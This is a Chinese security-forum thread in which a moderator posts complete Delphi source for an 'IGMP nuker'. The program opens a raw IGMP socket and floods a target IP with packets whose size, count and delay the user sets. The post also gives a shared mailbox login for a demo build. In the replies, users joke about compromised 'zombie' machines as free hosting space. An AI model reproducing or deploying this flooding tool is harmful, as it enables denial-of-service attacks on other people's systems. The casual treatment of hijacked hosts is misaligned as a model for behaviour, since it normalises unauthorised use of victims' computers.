论坛: 编程破解 标题: IGMP NUKER 复制本贴地址    
作者: cimsxiyang [cimsxiyang]    版主   登录
DELPHI实现 IGMP NUKER。
以下是完整的源代码,在2K,DELPHI6 调试通过。
要演示程序的还是到
20cnxiyang@21cn.com
user:20cnxiyang
pass:20cnxiyang
-----------------------------------------------------------
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, Spin, StdCtrls,winsock, Buttons;

type
  TFormMain = class(TForm)
    Panel1: TPanel;
    GroupBox1: TGroupBox;
    Panel2: TPanel;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    BitBtn3: TBitBtn;
    BitBtn4: TBitBtn;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    EditTARGET: TEdit;
    SpinEditPACKETSIZE: TSpinEdit;
    SpinEditTIMES: TSpinEdit;
    SpinEditDELAY: TSpinEdit;
    Timer1: TTimer;
    procedure BitBtn4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormMain: TFormMain;
  TargetAddr:TSockAddr;
   PacketSize:Integer;
   Times:Integer;
   RawSocket:TSocket;
   b00m:pchar;



implementation

{$R *.dfm}

procedure TFormMain.BitBtn4Click(Sender: TObject);
begin
close;
end;

procedure TFormMain.FormCreate(Sender: TObject);
var
     wsaData:TWSAData;
begin
if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin
        ShowMessage( 'error!' );
        Application.Terminate;
     end;

end;

procedure TFormMain.BitBtn1Click(Sender: TObject);
begin
RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP );

     if RawSocket = INVALID_SOCKET then begin

        ShowMessage( 'IGMP error' );
        Application.Terminate; // quit
     end;

     Timer1.Interval := SpinEditDELAY.Value ;
     PacketSize := SpinEditPACKETSIZE.Value;
     Times := SpinEditTIMES.Value;
     TargetAddr.sa_family := AF_INET;

     TargetAddr.sin_port := htons( 100 ); // port 100
     TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text ));

     if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin
               ShowMessage( 'ip address error!' );
        closesocket( RawSocket );
        exit;
     end;

     getmem( b00m, PacketSize );
          if b00m = NIL then begin
        ShowMessage( 'memory error!' );
        closesocket( RawSocket );
        Application.Terminate;
     end;
     BitBtn1.Enabled := False;
     BitBtn2.Enabled := True;
     Timer1.Enabled := True;

end;

procedure TFormMain.BitBtn3Click(Sender: TObject);
begin
showmessage('any bugs?tell me : bootshell@21cn.com');
end;

procedure TFormMain.BitBtn2Click(Sender: TObject);
begin
Timer1.Enabled := False;

     FreeMem( b00m );
     closesocket( RawSocket );
     BitBtn2.Enabled := False;
     BitBtn1.Enabled := True;
     showmessage('&sup1;&yen;&raquo;÷&Iacute;ê±&Iuml;&pound;&iexcl;');



end;

procedure TFormMain.FormDestroy(Sender: TObject);
begin
WSACleanup;

end;

procedure TFormMain.Timer1Timer(Sender: TObject);
begin
if Times = 0 then begin
        BitBtn2Click( Sender );
        exit;
     end;
    send( RawSocket, b00m, PacketSize, 0 );
     dec( Times );

end;

end.

地主 发表时间: 04/25 22:27

回复: nightcolor [nightcolor]   版主   登录
要空间找我,我给你。100M够不够? 呵呵

B1层 发表时间: 04/26 00:05

回复: cimsxiyang [cimsxiyang]   版主   登录
呵呵。你小子又搞到哪个可怜的肉鸡?大方一点,大家分享啊!!
大家说是不是?

B2层 发表时间: 04/26 00:13

回复: dongshan [dongshan]   论坛用户   登录
你没有QQ吗?


B3层 发表时间: 04/26 14:58

回复: cimsxiyang [cimsxiyang]   版主   登录
56000204
:)

B4层 发表时间: 04/26 15:49

回复: icesky [icesky]   论坛用户   登录
靠.你个夜色撩人!怎么不给我一个!我正缺那!

B5层 发表时间: 04/26 16:07

回复: nightcolor [nightcolor]   版主   登录
你想干嘛? 呵呵

B6层 发表时间: 04/26 20:58

回复: icesky [icesky]   论坛用户   登录
搞个bbs啊!支持什么的啊!

给不给我啊!你用那个该死的东西!我都找不到你了!

B7层 发表时间: 04/26 21:58

回复: nightcolor [nightcolor]   版主   登录
用肉鸡装BBS?  昏死~~ 

B8层 发表时间: 04/27 00:05

回复: xiaoxingchi [xiaoxingchi]   论坛用户   登录
有空间拿出来用一下啊!

B9层 发表时间: 04/27 00:46

回复: xiaojun [xiaojun]   剑客   登录
有啥好东西,拿出来大家分享嘛!

B10层 发表时间: 04/27 11:01

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号